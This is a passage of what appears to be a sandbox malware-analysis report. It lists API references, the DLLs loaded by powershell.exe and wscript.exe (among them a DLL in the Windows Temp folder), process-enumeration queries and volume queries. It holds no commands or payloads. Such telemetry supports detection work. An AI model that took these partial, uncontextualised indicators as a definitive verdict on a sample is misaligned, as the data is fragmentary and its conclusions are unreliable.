"00000000-00003076.00000000.255416.762F0000.00000004.mdmp") Found reference to API "GetUserDefaultLCID" (Indicator: "GetUserDefaultLCID"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API "GetLocaleInfoA" (Indicator: "GetLocaleInfo"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API "Win32API|National Language Support Functions|GetLocaleInfo|LOCALE_IDEFAULTANSICODEPAGE" (Indicator: "GetLocaleInfo"; Source: "00000000-00005276.00000000.255414.E4C10000.00000004.mdmp") Found reference to API "Win32API|National Language Support Functions|GetLocaleInfo|LOCALE_ICOUNTRY" (Indicator: "GetLocaleInfo"; Source: "00000000-00005276.00000000.255414.E4C10000.00000004.mdmp") Found reference to API "Win32API|National Language Support Functions|GetLocaleInfo|LOCALE_ILANGUAGE" (Indicator: "GetLocaleInfo"; Source: "00000000-00005276.00000000.255414.E4C10000.00000004.mdmp")3b:T49c3,"powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ff813ff0000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ff813ff0000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ff813ff0000 "powershell.exe" loaded module "KERNEL32" at base 7ff8169d0000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffff01e0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ff811970000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 7ff813840000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\APPRESOLVER.DLL" at base 7ffffdaa0000 "powershell.exe" loaded module "KERNEL32.DLL" at base 7ff8169d0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 7ff80f9b0000 "powershell.exe" loaded module "RPCRT4.DLL" at base 7ff816530000 "powershell.exe" loaded module "NTDLL.DLL" at base 7ff816fe0000 "powershell.exe" loaded module "CSCAPI.DLL" at base 7ff806010000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ff813400000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 7ff816c00000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ffff0130000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 2bb57770000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ff8133c0000 "powershell.exe" loaded module "VERSION.DLL" at base 7ff80a5d0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7fffe6870000 "powershell.exe" loaded module "USER32.DLL" at base 7ff816e20000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7ff813ff0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREE.DLL" at base 0 "powershell.exe" loaded module "MSCOREE.DLL" at base 7ffff2580000 "powershell.exe" loaded module "NTDLL" at base 7ff816fe0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 7ff816190000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\FE2524177EB3088C77BE666722039F52\MSCORLIB.NI.DLL" at base 7fffe5270000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\OLE32.DLL" at base 0 "powershell.exe" loaded module "OLE32.DLL" at base 7ff816810000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7ff816190000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "OLEAUT32.DLL" at base 7ff815f20000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\E43DD9C73AB5615E461BF5109C3FACD6\SYSTEM.NI.DLL" at base 7fffe4600000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\0D59B0E237D7519417DE10CD84BDA4E7\SYSTEM.CORE.NI.DLL" at base 7fffe3b80000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\B5BA37E1558CED178A99011A1D659B52\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 7ffff4c50000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ff8127d0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAA57FC8CC#\6DA01910C256231D1C50AD0AACEE5941\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 7fffe1b10000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\COMBASE.DLL" at base 0 "powershell.exe" loaded module "COMBASE.DLL" at base 7ff816190000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 7ff816190000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\PSAPI.DLL" at base 0 "powershell.exe" loaded module "PSAPI.DLL" at base 7ff814960000 "powershell.exe" loaded module "SHELL32.DLL" at base 2bb57df0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\NTDLL.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\WINTRUST.DLL" at base 0 "powershell.exe" loaded module "WINTRUST.DLL" at base 7ff813f90000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINTRUST.DLL" at base 7ff813f90000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7ff8134d0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\AMSI.DLL" at base 0 "powershell.exe" loaded module "AMSI.DLL" at base 7ff80b950000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ff80a5d0000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7ff80b930000 "powershell.exe" loaded module "CRYPT32.DLL" at base 7ff8134d0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\14GTQTI1.DLL" at base 7ffff4c00000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\7B1F35FB0C2D6955CE5AF2BD372C65F2\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7ffff4b60000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\7BED49C46DE9295A8453DB205C60A028\SYSTEM.DATA.NI.DLL" at base 7fffe11a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\B221AF81285C1305324612E6DC9C88FF\SYSTEM.MANAGEMENT.NI.DLL" at base 7ffff49f0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\8AD4C0AF5B3D51A0F3A4DAC0D44D85D4\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ffff4880000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7fffede00000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\5EE35DEBFC22F727E70E4479DDCBC045\SYSTEM.XML.NI.DLL" at base 7fffe08f0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.NUMERICS\86CFD69CE1261BAF4740E7606CADE014\SYSTEM.NUMERICS.NI.DLL" at base 7fffedda0000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7ff813ff0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7fffedc50000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\7FF5199E757CB8AF9AD949453F698D09\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 7fffe0880000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\604272B0FAEC2E09D53D38E03BC89C6C\SYSTEM.TRANSACTIONS.NI.DLL" at base 7fffe07a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\4BEB1EECA20B27D4BD1BB9880F03CC2A\SYSTEM.CONFIGURATION.NI.DLL" at base 7fffe0660000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7fffedc00000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SECUR32.DLL" at base 0 "powershell.exe" loaded module "SECUR32.DLL" at base 7ff809810000 "powershell.exe" loaded module "SSPICLI.DLL" at base 7ff813230000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\SHLWAPI.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\WLDP.DLL" at base 0 "powershell.exe" loaded module "WLDP.DLL" at base 7ff812390000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 7fffe0580000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 7ff8169d0000 "powershell.exe" loaded module "USERENV.DLL" at base 7ff813260000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7ff816c00000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 7ff816190000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P521220EA#\DF7D947A99CBCFAA726B127726F05476\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 7fffdf870000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\120A0532577F871C2415502D9EDACDD6\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 7ffff2270000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\IPHLPAPI.DLL" at base 0 "powershell.exe" loaded module "IPHLPAPI.DLL" at base 7ff812950000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\BCRYPT.DLL" at base 0 "powershell.exe" loaded module "BCRYPT.DLL" at base 7ff812e90000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\RASAPI32.DLL" at base 0 "powershell.exe" loaded module "RASAPI32.DLL" at base 7ff806a80000 "powershell.exe" loaded module "RASMAN.DLL" at base 7ff806a00000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\WS2_32.DLL" at base 0 "powershell.exe" loaded module "WS2_32.DLL" at base 7ff815e10000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7ff812bc0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\WINHTTP.DLL" at base 0 "powershell.exe" loaded module "WINHTTP.DLL" at base 7ff80fb90000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 7ffff5260000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 7ff80aff0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7ff80c350000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\SCHANNEL.DLL" at base 7ff8126b0000 "powershell.exe" loaded module "MSKEYPROTECT.DLL" at base 7ff803260000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 7ff8032b0000 "powershell.exe" loaded module "GDI32.DLL" at base 7ff816100000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PAE3498D9#\D922445A828B30938C72D375A3B34A60\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base 7fffdf630000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\\WINDOWS.STATEREPOSITORYPS.DLL" at base 7ffffe3e0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 2bb57df0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base 7ff807d00000 "powershell.exe" loaded module "MSISO.DLL" at base 7ff800a70000 "powershell.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 7ff813ff0000 "powershell.exe" loaded module "OLEAUT32" at base 7ff815f20000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.M870D558A#\5F64880C86C98E7DDECDF28E61917307\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE.NI.DLL" at base 7fffdf4e0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE\V4.0_1.0.0.0__31BF3856AD364E35\API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0.DLL" at base 7ff813ff0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE\V4.0_1.0.0.0__31BF3856AD364E35\MSVCRT.DLL" at base 0 "powershell.exe" loaded module "MSVCRT.DLL" at base 7ff816a80000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE\V4.0_1.0.0.0__31BF3856AD364E35\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE.UNMANAGED.DLL" at base 0 "powershell.exe" loaded module "MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE.UNMANAGED.DLL" at base 7fffff720000 "powershell.exe" loaded module "MI.DLL" at base 7ff80aa10000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE\V4.0_1.0.0.0__31BF3856AD364E35\MI.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-SECURITY-BASE-L1-1-0.DLL" at base 7ff813ff0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WMIDCOM.DLL" at base 7ff80a980000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 7ff813ff0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 7ff8092a0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 7ff807c60000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 7ff813ff0000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 7ff813ff0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 7ff8070f0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE\V4.0_1.0.0.0__31BF3856AD364E35\API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL" at base 7ff8169d0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE\V4.0_1.0.0.0__31BF3856AD364E35\API-MS-WIN-CORE-HANDLE-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-HANDLE-L1-1-0.DLL" at base 7ff813ff0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.SERV759BFB78#\2B185C0F47B7E9417EE580B326BEA804\SYSTEM.SERVICEPROCESS.NI.DLL" at base 7fffdf1e0000 "wscript.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ff813ff0000 "wscript.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ff813ff0000 "wscript.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ff813ff0000 "wscript.exe" loaded module "KERNEL32" at base 7ff8169d0000 "wscript.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffff01e0000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ff811970000 "wscript.exe" loaded module "RPCRT4.DLL" at base 7ff816530000 "wscript.exe" loaded module "KERNEL32.DLL" at base 7ff8169d0000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\VBSCRIPT.DLL" at base 7fffdf590000 "wscript.exe" loaded module "AMSI.DLL" at base 7ff80b950000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ff80a5d0000 "wscript.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7ff80b930000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\14GTQTI1.DLL" at base 7ffff4c00000 "wscript.exe" loaded module "WLDP.DLL" at base 7ff812390000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7ff816c00000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\WINTRUST.DLL" at base 7ff813f90000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ff8127d0000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\MSISIP.DLL" at base 7ff800250000 "wscript.exe" loaded module "OLE32.DLL" at base 7ff816810000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7ff8134d0000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\WSHEXT.DLL" at base 7ffff31d0000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\SCROBJ.DLL" at base 7fffdf4a0000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\MLANG.DLL" at base 7ff809260000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\WSHOM.OCX" at base 7ffff17a0000 "wscript.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 7ff813ff0000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMDISP.DLL" at base 7fffdf410000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 7ff8092a0000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WMIUTILS.DLL" at base 7ff806f40000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 7ff807c60000 "wscript.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 7ff813ff0000 "wscript.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 7ff813ff0000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 7ff8070f0000 "wscript.exe" loaded module "NTDLL.DLL" at base 7ff816fe0000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 7ff80f9b0000 "wscript.exe" loaded module "SHELL32.DLL" at base 23ae7310000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 7ff813840000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\SCRRUN.DLL" at base 7fffdf460000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\WINHTTPCOM.DLL" at base 7ff800eb0000 "wscript.exe" loaded module "WINHTTP.DLL" at base 7ff80fb90000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 7ffff5260000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7ff812bc0000 "wscript.exe" loaded module "SSPICLI.DLL" at base 7ff813230000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7ff80c350000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 7ff80aff0000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\SCHANNEL.DLL" at base 7ff8126b0000 "wscript.exe" loaded module "MSKEYPROTECT.DLL" at base 7ff803260000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 7ff8032b0000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ff813400000 "wscript.exe" loaded module "SHELL32.DLL" at base 204788900003c:Ta14,"powershell.exe" queried SystemProcessInformation at 00000000-00006036-00000C15-2950746636 [PID: 6036] "powershell.exe" queried SystemProcessInformation at 00000000-00006036-00000C15-2950755571 [PID: 6036] "powershell.exe" queried SystemProcessInformation at 00000000-00006036-00000C15-2952061880 [PID: 6036] "powershell.exe" queried SystemProcessInformation at 00000000-00006036-00000C15-2952070498 [PID: 6036] "powershell.exe" queried SystemProcessInformation at 00000000-00006036-00000C15-2954403695 [PID: 6036] "powershell.exe" queried SystemProcessInformation at 00000000-00006036-00000C15-2954411979 [PID: 6036] "powershell.exe" queried SystemProcessInformation at 00000000-00006036-00000C15-2954540929 [PID: 6036] "powershell.exe" queried SystemProcessInformation at 00000000-00006036-00000C15-2954549787 [PID: 6036] "powershell.exe" queried SystemProcessInformation at 00000000-00006036-00000C15-2955244992 [PID: 6036] "powershell.exe" queried SystemProcessInformation at 00000000-00006036-00000C15-2956113535 [PID: 6036] "powershell.exe" queried SystemProcessInformation at 00000000-00006036-00000C15-2956122734 [PID: 6036] "powershell.exe" queried SystemProcessInformation at 00000000-00006036-00000C15-2956534814 [PID: 6036] "powershell.exe" queried SystemProcessInformation at 00000000-00006036-00000C15-2956543361 [PID: 6036] "powershell.exe" queried SystemProcessInformation at 00000000-00006036-00000C15-2957329832 [PID: 6036] "powershell.exe" queried SystemProcessInformation at 00000000-00006036-00000C15-2957338362 [PID: 6036] "powershell.exe" queried SystemProcessInformation at 00000000-00006036-00000C15-2957977515 [PID: 6036] "powershell.exe" queried SystemProcessInformation at 00000000-00006036-00000C15-2957985571 [PID: 6036] "powershell.exe" queried SystemProcessInformation at 00000000-00006036-00000C15-2959252522 [PID: 6036] "powershell.exe" queried SystemProcessInformation at 00000000-00006036-00000C15-2959259736 [PID: 6036] "wscript.exe" queried SystemProcessInformation at 00000000-00005276-00000C15-2959755678 [PID: 5276] "wscript.exe" queried SystemProcessInformation at 00000000-00005276-00000C15-2959765576 [PID: 5276] "wscript.exe" queried SystemProcessInformation at 00000000-00005276-00000C15-2960579457 [PID: 5276] "wscript.exe" queried SystemProcessInformation at 00000000-00005276-00000C15-2960611522 [PID: 5276] "wscript.exe" queried SystemProcessInformation at 00000000-00005276-00000C15-2961005077 [PID: 5276] "wscript.exe" queried SystemProcessInformation at 00000000-00005276-00000C15-2961013832 [PID: 5276]3d:T11be,"powershell.exe" queries volume information of "C:\" at 00000000-00006036-00000C17-2951880472 "powershell.exe" queries volume information of "C:\" at 00000000-00006036-00000C17-2951899695 "powershell.exe" queries volume information of "C:\" at 00000000-00006036-00000C17-2951904119 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00006036-00000C17-2955044101 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00006036-00000C17-2955488755 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00006036-00000C17-2955948545 "powershell.exe" queries volume information of "C:\" at 00000000-00006036-00000C17-2956244295 "powershell.exe" queries volume information of "C:\share" at 00000000-00006036-00000C17-2956246222 "powershell.exe" queries volume information of "C:\share" at 00000000-00006036-00000C17-2956340733 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00006036-00000C17-2957030195 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00006036-00000C17-2957162436 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00006036-00000C17-2957209360 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00006036-00000C17-2958526798 "powershell.exe" queries volume information of 